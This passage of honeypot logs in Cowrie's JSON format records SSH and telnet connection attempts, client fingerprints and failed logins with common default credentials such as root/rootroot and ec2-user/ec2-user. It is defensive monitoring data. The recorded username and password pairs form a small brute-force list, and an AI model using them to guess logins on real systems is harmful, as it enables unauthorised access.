acCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:38.588511Z","src_ip":"192.109.200.78","session":"dcde129027f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:38.992210Z","src_ip":"192.109.200.78","session":"dcde129027f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163221359253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:39.412060Z","src_ip":"202.47.32.235","session":"4fd4c7a11661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:40.078844Z","src_ip":"192.109.200.78","session":"dcde129027f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":45216,"dst_ip":"159.203.135.109","dst_port":23,"session":"559be25f7920","protocol":"telnet","message":"New connection: 206.189.71.75:45216 (159.203.135.109:23) [session: 559be25f7920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:40.995421Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51184,"dst_ip":"10.17.0.5","dst_port":22,"session":"c760306eade1","protocol":"ssh","message":"New connection: 192.109.200.78:51184 (10.17.0.5:22) [session: c760306eade1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:42.635810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:42.639473Z","src_ip":"192.109.200.78","session":"c760306eade1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:42.723657Z","src_ip":"192.109.200.78","session":"c760306eade1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08505821228027,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:42.858647Z","src_ip":"206.189.71.75","session":"41308a9f9f68","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:42.974334Z","src_ip":"192.109.200.78","session":"c760306eade1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51266,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfdb464d927a","protocol":"telnet","message":"New connection: 206.189.71.75:51266 (159.203.135.109:23) [session: cfdb464d927a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:43.494739Z"}
{"eventid":"cowrie.session.closed","duration":34.047374963760376,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:43.785452Z","src_ip":"206.189.71.75","session":"341752cfc6ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:44.122081Z","src_ip":"192.109.200.78","session":"c760306eade1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52808,"dst_ip":"159.203.135.109","dst_port":23,"session":"e939b9a84cbc","protocol":"telnet","message":"New connection: 206.189.71.75:52808 (159.203.135.109:23) [session: e939b9a84cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:45.203066Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51196,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fa7ade9a805","protocol":"ssh","message":"New connection: 192.109.200.78:51196 (10.17.0.5:22) [session: 9fa7ade9a805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:46.944215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:46.949418Z","src_ip":"192.109.200.78","session":"9fa7ade9a805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:47.032992Z","src_ip":"192.109.200.78","session":"9fa7ade9a805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:47.567556Z","src_ip":"192.109.200.78","session":"9fa7ade9a805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:48.652673Z","src_ip":"192.109.200.78","session":"9fa7ade9a805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41574,"dst_ip":"10.17.0.5","dst_port":22,"session":"51d6552c5ce0","protocol":"ssh","message":"New connection: 192.109.200.78:41574 (10.17.0.5:22) [session: 51d6552c5ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:51.064471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:51.069256Z","src_ip":"192.109.200.78","session":"51d6552c5ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:51.151180Z","src_ip":"192.109.200.78","session":"51d6552c5ce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:51.399630Z","src_ip":"192.109.200.78","session":"51d6552c5ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:52.485683Z","src_ip":"192.109.200.78","session":"51d6552c5ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":58936,"dst_ip":"159.203.135.109","dst_port":23,"session":"89f79c7f0283","protocol":"telnet","message":"New connection: 206.189.71.75:58936 (159.203.135.109:23) [session: 89f79c7f0283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:53.358283Z"}
{"eventid":"cowrie.session.closed","duration":35.065622329711914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:53.582696Z","src_ip":"206.189.71.75","session":"73f82c44ce66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41590,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b68b4aebca3","protocol":"ssh","message":"New connection: 192.109.200.78:41590 (10.17.0.5:22) [session: 4b68b4aebca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:55.210783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:55.215482Z","src_ip":"192.109.200.78","session":"4b68b4aebca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:55.297565Z","src_ip":"192.109.200.78","session":"4b68b4aebca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:55.543666Z","src_ip":"192.109.200.78","session":"4b68b4aebca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:56.630591Z","src_ip":"192.109.200.78","session":"4b68b4aebca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.723639249801636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:58.993227Z","src_ip":"206.189.71.75","session":"9e173285b816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47312,"dst_ip":"10.17.0.5","dst_port":22,"session":"548d3f5557fd","protocol":"ssh","message":"New connection: 192.109.200.78:47312 (10.17.0.5:22) [session: 548d3f5557fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:59.320188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:59.324639Z","src_ip":"192.109.200.78","session":"548d3f5557fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:59.406100Z","src_ip":"192.109.200.78","session":"548d3f5557fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.598026752471924,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:59.497052Z","src_ip":"206.189.71.75","session":"6ca842bec770","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:59.659492Z","src_ip":"192.109.200.78","session":"548d3f5557fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:00.744917Z","src_ip":"192.109.200.78","session":"548d3f5557fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40100,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd36d764df40","protocol":"telnet","message":"New connection: 206.189.71.75:40100 (159.203.135.109:23) [session: cd36d764df40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:03.153481Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47314,"dst_ip":"10.17.0.5","dst_port":22,"session":"5529e96b2fa8","protocol":"ssh","message":"New connection: 192.109.200.78:47314 (10.17.0.5:22) [session: 5529e96b2fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:03.461095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:03.465488Z","src_ip":"192.109.200.78","session":"5529e96b2fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:03.547537Z","src_ip":"192.109.200.78","session":"5529e96b2fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.559977531433105,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:03.906304Z","src_ip":"206.189.71.75","session":"96ea5b0f4ec7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:04.106200Z","src_ip":"192.109.200.78","session":"5529e96b2fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:05.192867Z","src_ip":"192.109.200.78","session":"5529e96b2fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.825896978378296,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:07.639253Z","src_ip":"206.189.71.75","session":"c678621b57ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47322,"dst_ip":"10.17.0.5","dst_port":22,"session":"cda33f76959a","protocol":"ssh","message":"New connection: 192.109.200.78:47322 (10.17.0.5:22) [session: cda33f76959a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:07.700542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:07.705629Z","src_ip":"192.109.200.78","session":"cda33f76959a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:07.789442Z","src_ip":"192.109.200.78","session":"cda33f76959a","protocol":"ssh"}
